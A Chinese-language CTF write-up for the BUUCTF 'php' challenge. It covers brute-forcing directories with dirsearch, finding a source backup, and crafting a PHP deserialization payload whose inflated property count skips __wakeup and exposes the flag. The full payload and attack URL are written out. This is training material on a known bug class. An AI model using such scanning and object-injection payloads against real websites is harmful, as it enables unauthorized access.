buuctf php1
首先要介绍一下dirsearch ,它是基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件。(在kali里面使用)
下载指令 :git clone https://github.com/maurosoria/dirsearch.git
使用的指令:cd dirsearch/ 切到下载dirsearch的目录下面(具体要看下载好的dirsearch在哪里): ./dirsearch.py -u 目标网址-e*
这个实际上就是我之前看到的执行.py文件脚本的方法,还有下载wmtools的时候也是像这种格式(目录下面执行里面的脚本文件)
优势所在:
- 它包括多线程,使其比任何其他站点扫描仪工具都快
- 它执行递归暴力破解
- 它具有HTTP代理支持
- Dirsearch有效地检测到无效网页
- 它具有用户代理随机化和批处理功能
- 支持请求延迟
python dirsearch.py -h 查看帮助菜单
————————————————————————————————————————————————
题目说是备份文件就直接使用dirsearch扫目录,扫除源文件备份

报错没有配置好dos服务器 ,解决办法:直接百度求解

扫描成功之后下载的文件夹,文本会在request目录下面(和githack差不多)
扫描发现www.zip包解压发现是php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
查看到源码
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
代码审计
开始构造payload
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
满足条件的就是这样,但是为了避免魔术函数的执行把2改为3,,(这是在反序列化函数unserialize教学里面看到的)
o表示项目,4是项目的名字长度,2是表示有两个对象,s表示字符串,14是长度,name username是元素,后面一样
url+?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
————————————————————————————————————————————————————————————————————————————